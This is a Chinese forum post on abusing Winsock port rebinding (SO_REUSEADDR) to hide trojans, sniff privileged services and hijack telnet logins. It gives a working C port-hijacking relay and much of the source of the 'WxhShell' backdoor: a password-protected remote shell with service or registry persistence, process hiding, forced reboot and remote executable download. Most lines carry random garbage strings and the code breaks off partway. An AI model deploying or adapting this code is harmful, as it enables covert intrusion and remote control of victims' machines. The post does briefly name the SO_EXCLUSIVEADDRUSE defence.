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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d`XC._%^J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WxLmzSz{xD  
jfLkp>2E'  
  saddr.sin_family = AF_INET; YK=o[nPmK  
gv6}GE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )}Vb+  
\zdY$3z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Kyr3)1#J  
H3}eFl=i2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D2,2Yy5 y  
jD<fu  
  这意味着什么?意味着可以进行如下的攻击: q7z;bA  
-T,/S^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Wl29xY}`{!  
Q; V*M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6'F4p1VG*I  
(Yv)%2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &7fwYV  
x;F^7c1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   Y ,  
}k{h^!fV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lI)RaiMr=  
A>bpP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q.b<YRZ  
rUz-\H(-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :xBG~D  
eZck$]P(6H  
  #include C.#\ Pz0  
  #include =*[98%b   
  #include @)IHd6 R  
  #include    $:4* ?8 K2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -|FSdzvg  
  int main() 46(=*iT&V  
  { 2_i9 q>I  
  WORD wVersionRequested; `pTCK9  
  DWORD ret; Q4[^JQsR2  
  WSADATA wsaData; W5f|#{&L:  
  BOOL val; T'K6Q cu  
  SOCKADDR_IN saddr; fPA5]a9  
  SOCKADDR_IN scaddr; oPbxe  
  int err; k0/S&e,*  
  SOCKET s; Qm >x ?  
  SOCKET sc; O/N@ Gz[g%  
  int caddsize; z2 m(<zb  
  HANDLE mt;  W>HGB  
  DWORD tid;   B(zcoWQ*B  
  wVersionRequested = MAKEWORD( 2, 2 ); `a+"[%  
  err = WSAStartup( wVersionRequested, &wsaData ); sx]kH$  
  if ( err != 0 ) { - Mubq  
  printf("error!WSAStartup failed!\n"); X%sMna)  
  return -1; 1[ 4)Sq?  
  } CC~:z/4,N  
  saddr.sin_family = AF_INET; lR8Lfa*/7  
   d siQ~ [   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pVa9g)+z}  
zQ=c6xvm8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :MFF*1  
  saddr.sin_port = htons(23); zF([{5r[!)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M#CYDEB  
  { 7%0V?+]P  
  printf("error!socket failed!\n"); H[M(t^GM  
  return -1; Y;uQq-CP  
  } $.0l% $7  
  val = TRUE; 1OOMqFn}L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Fs}vI~}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A7c*qBt  
  { (]}52%~  
  printf("error!setsockopt failed!\n");  ~0T;T  
  return -1; NE1n9  
  } %0MvCm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v*[oe  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YK V?I   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~ 5@bW J  
~B704i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {S6:LsFfm  
  { d&x #9ka  
  ret=GetLastError(); # ^q87y  
  printf("error!bind failed!\n"); p G-9H3[f#  
  return -1; >K@Y8J+ e#  
  } IJQ" *;  
  listen(s,2); CUI\:a-   
  while(1) v\}s(X(J  
  { rFLm!J]  
  caddsize = sizeof(scaddr); iU1yJ=  
  //接受连接请求 (/;<K$u*h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (l_/ HQ32  
  if(sc!=INVALID_SOCKET) >gSiH#>  
  { pj9*$.{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kwAL] kI  
  if(mt==NULL) s)BB(vQ]6  
  { }c?W|#y`.o  
  printf("Thread Creat Failed!\n"); Po*G/RKu4W  
  break; 98ot{+/LK  
  } <oKoz0!  
  } L}hc|(:  
  CloseHandle(mt); T? e(m  
  } WFm\ bZ.  
  closesocket(s); 6cVJu%<V  
  WSACleanup(); vAt ]N)R  
  return 0; dc=}c/6x  
  }   b sM ]5^  
  DWORD WINAPI ClientThread(LPVOID lpParam) ZFFKv  
  { De^Uc  
  SOCKET ss = (SOCKET)lpParam; uWjSqyb:  
  SOCKET sc; }v4T&/vt-  
  unsigned char buf[4096]; CY</v,\:#  
  SOCKADDR_IN saddr; {Lg]chJq?  
  long num; u5O`|I@R  
  DWORD val; kD\7wz,ui  
  DWORD ret; Y2d(HD@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nAT,y9&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VBq|j"o0"  
  saddr.sin_family = AF_INET; k%Wj+\93 f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,ui=Wi1  
  saddr.sin_port = htons(23); 1a]QNl_x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K'f`}y9  
  { "STd ;vR  
  printf("error!socket failed!\n"); $, vX yZ  
  return -1; wmDO^}>ZP  
  } +[B@83  
  val = 100; 4d63+iM+}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aQHB  
  { SSn{,H8/j  
  ret = GetLastError(); PdqyNn=  
  return -1; S.R|Bwj}(Y  
  } P<C=9@`!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n`.JI(|  
  { A/sM ?!p>_  
  ret = GetLastError(); .r~M7 I  
  return -1; HAmAmEc,  
  } t_kRYdW9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^ ^T xx  
  { gaWJzK Yc_  
  printf("error!socket connect failed!\n"); PrhGp _5  
  closesocket(sc); $!7$0WbC  
  closesocket(ss); /N7.|XI.  
  return -1; +!cibTQTT  
  } Vb,'VN%   
  while(1) `5 Iaz  
  { fk2p}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3YD.Fjz$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +'9E4Lpx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1O2jvt7M  
  num = recv(ss,buf,4096,0); 5pH6]$  
  if(num>0) V/]o':  
  send(sc,buf,num,0); _c>8y  
  else if(num==0) M \UB r4  
  break; Kh7C7[&  
  num = recv(sc,buf,4096,0); \49s;\I]  
  if(num>0) MW|R)gt  
  send(ss,buf,num,0); Ejj+%)n.  
  else if(num==0) s"~3.J  
  break; -"6Z@8=  
  } #|/ +znJm  
  closesocket(ss); |ZG0E  
  closesocket(sc); .'bhRQY  
  return 0 ; nL+y"O  
  } d}<-G.&_  
r"!xI  
dy]ZS<Hz8G  
========================================================== elz0t<V  
e2kW,JV/<$  
下边附上一个代码,,WXhSHELL <>H^:iqn  
\V T.bUs  
========================================================== (_=R<:  
5c$\DZ(  
#include "stdafx.h" 9qvl9,*g  
v8K`cijSS  
#include <stdio.h> o(yyj'=(  
#include <string.h> Y|S>{$W  
#include <windows.h> U(2=fKK;  
#include <winsock2.h> %+oqAY m+s  
#include <winsvc.h> o37D~V;  
#include <urlmon.h> dF><XZph  
B Q2N_*v  
#pragma comment (lib, "Ws2_32.lib") hQeG#KQ  
#pragma comment (lib, "urlmon.lib") g3f; JB   
EHK+qrym  
#define MAX_USER   100 // 最大客户端连接数 beB3*o  
#define BUF_SOCK   200 // sock buffer intl?&wC  
#define KEY_BUFF   255 // 输入 buffer 1A[(RT]  
Ygc|9}  
#define REBOOT     0   // 重启 2I283%xr  
#define SHUTDOWN   1   // 关机 1024L;  
L tUvFe  
#define DEF_PORT   5000 // 监听端口 pj$kSS|m6-  
3H|drj:KV  
#define REG_LEN     16   // 注册表键长度 7CH.BY  
#define SVC_LEN     80   // NT服务名长度 @`ii3&W4  
A4(k<<xjE  
// 从dll定义API >+DM TV[O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }<zbx*!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LTB rg[X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hkdF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YFDOp *  
iH~A7e62OZ  
// wxhshell配置信息 qWf[X'  
struct WSCFG { iCCe8nK  
  int ws_port;         // 监听端口 _l+C0lQl=  
  char ws_passstr[REG_LEN]; // 口令 &xZSM,  
  int ws_autoins;       // 安装标记, 1=yes 0=no f8ZuG !U  
  char ws_regname[REG_LEN]; // 注册表键名 _Tm]tlV  
  char ws_svcname[REG_LEN]; // 服务名 7!wc'~;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Kv)}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !a25cm5ys  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?J-\}X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O<#8R\v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  e<(6x[_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K]uH7-YvL/  
 v7Ps-a)  
}; y0-UO+ ;  
?1zGs2Qs  
// default Wxhshell configuration v+}${h9  
struct WSCFG wscfg={DEF_PORT, 1Wiz0X/  
    "xuhuanlingzhe", >; tE.CJH  
    1, n`@dk_%yI  
    "Wxhshell", "Q:h[)a  
    "Wxhshell", EJRkFn8XG'  
            "WxhShell Service", &=kb>*  
    "Wrsky Windows CmdShell Service", q"oNFHYPDs  
    "Please Input Your Password: ", Ftd,dqd  
  1, Ji:<eRx)  
  "http://www.wrsky.com/wxhshell.exe", a>rDJw:  
  "Wxhshell.exe" QPh3(K1w^  
    }; 7 \[fjCg\w  
z&Aya*0v`  
// 消息定义模块 X;2LK!x;y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7=5eLc^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dsj}GgG?Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =FI[/"476  
char *msg_ws_ext="\n\rExit."; sH_, P  
char *msg_ws_end="\n\rQuit."; %K.rrn M  
char *msg_ws_boot="\n\rReboot..."; 0w0{@\9  
char *msg_ws_poff="\n\rShutdown..."; Jz3,vV fQ:  
char *msg_ws_down="\n\rSave to "; 8ICV"8(  
W amOg0  
char *msg_ws_err="\n\rErr!"; D6|-nl  
char *msg_ws_ok="\n\rOK!"; z1 MT@G)S$  
MB $aN':  
char ExeFile[MAX_PATH]; rGXUV`5Na  
int nUser = 0; cIG7 Q"4  
HANDLE handles[MAX_USER]; eG8 l^[  
int OsIsNt; :=TIq  
U*E)y7MY  
SERVICE_STATUS       serviceStatus; SD{)Sq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p!=O>b_f  
&"I csxG  
// 函数声明 {7c'%e  
int Install(void); GN9kCyPK  
int Uninstall(void); Crg'AB?  
int DownloadFile(char *sURL, SOCKET wsh); y+w,j]  
int Boot(int flag); tl\<:8pI"  
void HideProc(void); 2<y9xvp  
int GetOsVer(void); "}`)s_rt  
int Wxhshell(SOCKET wsl); T_=WX_h $  
void TalkWithClient(void *cs); MpGG}J[y  
int CmdShell(SOCKET sock); EG|dN(qh  
int StartFromService(void); D>@NYqMF  
int StartWxhshell(LPSTR lpCmdLine); c.b| RM0;  
Mqvo j7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z b$]9(RS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %Nv w`H  
# Q,EL73;  
// 数据结构和表定义 _oCNrjt9  
SERVICE_TABLE_ENTRY DispatchTable[] = Bt(<Xj D  
{ zBTW&  
{wscfg.ws_svcname, NTServiceMain}, 1' v!~*af  
{NULL, NULL} Ez0zk9  
}; jBOl:l,+  
D9A%8o  
// 自我安装 kaB4[u  
int Install(void) G$MEVfd"  
{ L YF|  
  char svExeFile[MAX_PATH]; 'ScvteQ  
  HKEY key; z'& fEsjy  
  strcpy(svExeFile,ExeFile); 3^~J;U!3  
zU+q03l8Ur  
// 如果是win9x系统,修改注册表设为自启动 $ P?^GB>u  
if(!OsIsNt) { y^}u L|=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vno/V#e$WX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FA$32*v  
  RegCloseKey(key); 2~?E'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dCTyfXou[=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cPNc$^Y  
  RegCloseKey(key); J;8 d-R5  
  return 0; qJrKt=CE  
    } uHSnZ"#  
  } [i ~qVn2vT  
} =(D"(OsQ/  
else { (H !iK,R  
3U+FXK#6  
// 如果是NT以上系统,安装为系统服务 -|uoxj>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BB(6[V"SV  
if (schSCManager!=0) n*=#jL  
{ jxkjPf?  
  SC_HANDLE schService = CreateService 2*V[kmD/3  
  ( Lm2) 3;ei  
  schSCManager, Gw$5<%sB  
  wscfg.ws_svcname, X]D,kKasG  
  wscfg.ws_svcdisp, /0XMQy  
  SERVICE_ALL_ACCESS, ucx02^uA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~BmA!BZV`  
  SERVICE_AUTO_START, }\?9Prsd  
  SERVICE_ERROR_NORMAL, hyf ;f7`o  
  svExeFile, +K`A2&F9  
  NULL, }QE*-GVv]  
  NULL, jTcv&`fAz  
  NULL, (;},~( 2B  
  NULL, u6ULk<<\  
  NULL F9u?+y-xb  
  ); J4"Fj, FS  
  if (schService!=0) x~!|F5JbM  
  { SULFAf<  
  CloseServiceHandle(schService); "U-jZ5o"  
  CloseServiceHandle(schSCManager); 4>>=TJ!M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BA]$Fi.Mw  
  strcat(svExeFile,wscfg.ws_svcname); bTaKB-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S*V}1</L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -9i7Ja  
  RegCloseKey(key); hcj}6NXc  
  return 0; Lr$M k#'B  
    } _NsEeKU  
  } VIP7j(#t_g  
  CloseServiceHandle(schSCManager); /q]rA  
} Ec@n<KK#  
} rQVX^  
l}))vf=i  
return 1; fORkH^Y(&  
} rG-T Dm  
go uU  
// 自我卸载 0D s3wNz  
int Uninstall(void) ' rcqy1-&  
{ }'$PYAf6  
  HKEY key; "+F'WCJ-(*  
 8s0+6{vW  
if(!OsIsNt) { Xo34~V@(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ::|~tLFu  
  RegDeleteValue(key,wscfg.ws_regname); ;Y?MbD  
  RegCloseKey(key); /o;M ?Nt6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q5+1'mzAB  
  RegDeleteValue(key,wscfg.ws_regname); d#g))f;  
  RegCloseKey(key); -b(DPte  
  return 0; sS>b}u+v#!  
  } L=r*bq  
} %=`JWLLG  
} \H fAKBT  
else { {{?g%mQ6  
  Q.g/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =&WIa#!=  
if (schSCManager!=0) e5|lz.o;  
{ ;o_F<68QP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P8tdT3*6/  
  if (schService!=0) -K64J5|b7  
  { 9P?0D  
  if(DeleteService(schService)!=0) { @r TB&>`  
  CloseServiceHandle(schService); Zse&{  
  CloseServiceHandle(schSCManager); I\~[GsDY  
  return 0; ] G&*HMtp  
  } 7*!7EBb  
  CloseServiceHandle(schService); gq7tSkH@  
  } i5VZ,E^E  
  CloseServiceHandle(schSCManager); =@HS  
} !6!)H8rX  
} {M]_]L{&7  
?d7,0Ex P  
return 1; X0lPRk53(  
} Bm$|XS3cD  
^4dE8Ve"@  
// 从指定url下载文件 cb}"giXQTB  
int DownloadFile(char *sURL, SOCKET wsh) XUqorE  
{ 0a~t  
  HRESULT hr; (2g a: }K  
char seps[]= "/"; Ipp_}tl_  
char *token; -'! J?~  
char *file; `Ij@;=(  
char myURL[MAX_PATH]; AI|vL4*Xd  
char myFILE[MAX_PATH]; "tJ+v*E  
4&iQo'  
strcpy(myURL,sURL); |7qt/z  
  token=strtok(myURL,seps); 4Uy%wB  
  while(token!=NULL) z$~x 2<  
  { 3_(_yEKx  
    file=token; 380`>"D  
  token=strtok(NULL,seps);  WR;1  
  } OM86C  
#@R0$x  
GetCurrentDirectory(MAX_PATH,myFILE); @-U\!Tf  
strcat(myFILE, "\\"); HQqFrR  
strcat(myFILE, file); 1[FN: hm  
  send(wsh,myFILE,strlen(myFILE),0); ARH~dN*C  
send(wsh,"...",3,0); C/kf?:j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pv_o4qEN  
  if(hr==S_OK) "#Rh\DQ  
return 0; ^_2c\mw_I  
else 0=Z[6Q@:  
return 1; #}`sfaT  
"Ep"$d  
} *dl hRa  
D6"=2XR4n  
// 系统电源模块 LEb$Fd  
int Boot(int flag) <kh.fu@.Q  
{ b^o4Q[  
  HANDLE hToken; +|A`~\@N  
  TOKEN_PRIVILEGES tkp; P}R:o   
amBg<P`'_  
  if(OsIsNt) { =sJ?]U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d"wA"*8~y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?nU<cxh  
    tkp.PrivilegeCount = 1; + G@N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mZ)>^.N6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I2 [U#4n  
if(flag==REBOOT) { !T 6R[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `4Yo-@iVP  
  return 0; `#""JTA"  
} bo0U  
else { N\{"&e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hnj\|6L  
  return 0; at uqo3  
} Bf{u:TCK  
  } l;-Ml{}|0  
  else { `fv5U%  
if(flag==REBOOT) { i|:!I)(lh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >eJ <-3L;  
  return 0; GZ%vFje_ K  
} uwe#& V-  
else { & 3#7>oQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AA\a#\#Z3  
  return 0; 7KC>?F  
} AuNUW0/ 7  
} wQxI({k@  
EPm~@8@"j?  
return 1; ^<I(  
} *22Vc2[i;  
w~ Tg?RH:  
// win9x进程隐藏模块 xSY"Ru  
void HideProc(void) yw1 &I^7  
{ )+ .=z  
Wjb_H (D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YT(N][V  
  if ( hKernel != NULL ) -FZC|[is  
  { C- .;m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "\|P6H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0Lo8pe`DH  
    FreeLibrary(hKernel); ] !/  
  } .}IW!$ dq  
oe<i\uX8z  
return; kwjO5 OC8  
} $*q|}Tvl#  
xf,[F8 2y  
// 获取操作系统版本 t2[/eM.G  
int GetOsVer(void) W!{RJWe  
{ v,w af`)J  
  OSVERSIONINFO winfo; <KMCNCU\+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #Oka7.yz  
  GetVersionEx(&winfo); gk6f_0?X'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ht[$s40P  
  return 1; { 4J.  
  else I~4z%UG  
  return 0; BH:A]#_{  
} / VYT](  
D$l!lRu8+L  
// 客户端句柄模块 K43%9=sM  
int Wxhshell(SOCKET wsl) J(]|)?x2  
{ 2Q6;SF"Z  
  SOCKET wsh; u)@:V)z  
  struct sockaddr_in client; )Zq'r L<  
  DWORD myID; P< OH{l  
}UPC~kC+Z  
  while(nUser<MAX_USER) Xm#W}Y'  
{ UoxlEec  
  int nSize=sizeof(client); qo [[P)tq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y`g oV  
  if(wsh==INVALID_SOCKET) return 1; y3~`qq  
r8 9o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AjK5x@\  
if(handles[nUser]==0) |Y3w6!$  
  closesocket(wsh); od=hCQ1 >  
else (L(7)WbH  
  nUser++; V0;"Qa@q  
  } n ]g"H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~4 fE`-O  
~.T|n =  
  return 0; 5} %R  
} z~t0l  
5]&sXs  
// 关闭 socket /EjXyrn2  
void CloseIt(SOCKET wsh) URb8[~dR:  
{ )+N{D=YM  
closesocket(wsh); $gr>Y2i  
nUser--; W&hW N9iR  
ExitThread(0); Ta\F~$M  
} 3t-STk?  
kL DpZ{  
// 客户端请求句柄 {Z2nc)|7C  
void TalkWithClient(void *cs) }+@!c%TCx~  
{ rl}<&aPH  
Ar<5UnT  
  SOCKET wsh=(SOCKET)cs; %`i*SF(gV  
  char pwd[SVC_LEN]; 0OO[@Ht  
  char cmd[KEY_BUFF]; ei-\t qY_  
char chr[1]; ^6 wWv&G[8  
int i,j; -))S  
lTC0kh  
  while (nUser < MAX_USER) { '~Y@HRVL@|  
Krae^z9R  
if(wscfg.ws_passstr) { `df!-\#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !q+ #JW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {&+M.Xn  
  //ZeroMemory(pwd,KEY_BUFF); X):7#x@uy  
      i=0; 1 ^|#QMT  
  while(i<SVC_LEN) { xf&[QG+Ef  
o8X_uKEI  
  // 设置超时 'LMj.#A<g  
  fd_set FdRead; >B6* `3v  
  struct timeval TimeOut; uXc;!*  
  FD_ZERO(&FdRead); glLVT i  
  FD_SET(wsh,&FdRead); 'Q=;I  
  TimeOut.tv_sec=8; q=pRe-{  
  TimeOut.tv_usec=0; vCP[7KhGj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m[eqTh4*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !JXiTI!  
?9t4>xKn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oMN<jAU.  
  pwd=chr[0]; P!]uJ8bi  
  if(chr[0]==0xd || chr[0]==0xa) { ^i|R6oO_5  
  pwd=0; 6FzB-],  
  break; / <)Vd  
  } P<IDb%W  
  i++; bkd`7(r  
    } %rrA]\C'  
K T0t4XPM  
  // 如果是非法用户,关闭 socket '4uu@?!dVk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `h@fW- r  
} G:1d6[Q5{  
s|WwB T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O &<p 8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wh i#Ii~  
(6$ P/k8  
while(1) { !p+54w\ 2  
KAnV%j  
  ZeroMemory(cmd,KEY_BUFF); opa}z-7>^  
 U${W3Ra  
      // 自动支持客户端 telnet标准   %g@?.YxjT  
  j=0; Wu 0:X*>}p  
  while(j<KEY_BUFF) { FGi7KV=N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5hmfdj6  
  cmd[j]=chr[0]; U,P>P+\@  
  if(chr[0]==0xa || chr[0]==0xd) { <-k!  
  cmd[j]=0; ES4Wtc)&  
  break; 0o+Yjg>\~8  
  } f(pq`v^-n  
  j++; 3'.@aMA@  
    } At\(/Z y  
T^7Cv{[  
  // 下载文件 os{ iY  
  if(strstr(cmd,"http://")) { mxqD'^n#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $ztsbV}  
  if(DownloadFile(cmd,wsh)) Wu{=QjgY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qf(mJlU  
  else wNHn.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W+&5G(z~  
  } nmU1xv_  
  else { M?lh1Yu"  
nq{/fD(2  
    switch(cmd[0]) { 7,SQz6]  
  yus3GqPI  
  // 帮助 !uGfS' Vl  
  case '?': { [@Ac#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I uxf`sd  
    break; 1*8;)#%&  
  } Lyhuyb)k5^  
  // 安装 $Er=i }`  
  case 'i': { 5 e+j51  
    if(Install()) ,m<YS MKX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :dt[ #  
    else Ow4_0l&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7z$Z=cs  
    break; A5Hx $.Z  
    }  57q=  
  // 卸载 2?~nA2+vm  
  case 'r': { tQ9%rb  
    if(Uninstall()) zufphS|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )5b_>Uy  
    else t,9+G<)>H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v8-My1toV  
    break; 9;L4\  
    } NIQ}A-b  
  // 显示 wxhshell 所在路径 MZz9R*_VS  
  case 'p': { &|XgWZS5  
    char svExeFile[MAX_PATH]; s^zlBvr|.  
    strcpy(svExeFile,"\n\r"); t+KW=eW  
      strcat(svExeFile,ExeFile); iLnW5yy  
        send(wsh,svExeFile,strlen(svExeFile),0); QDn_`c  
    break; E,m|E]WP  
    } Z)|~  
  // 重启 ?r !kKMZ  
  case 'b': { ]S%_&ZMCM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eF%M2:&c;  
    if(Boot(REBOOT)) :XY%@n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6vK`J"d{~D  
    else { :\~>7VFg  
    closesocket(wsh); ~3 bV~H#~m  
    ExitThread(0); %$ya>0?mq  
    } ?c?@j}=?yY  
    break; US)i"l7:H*  
    } (n kg  
  // 关机 +1wEoU.l2  
  case 'd': { _9=87u0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "#E Z  
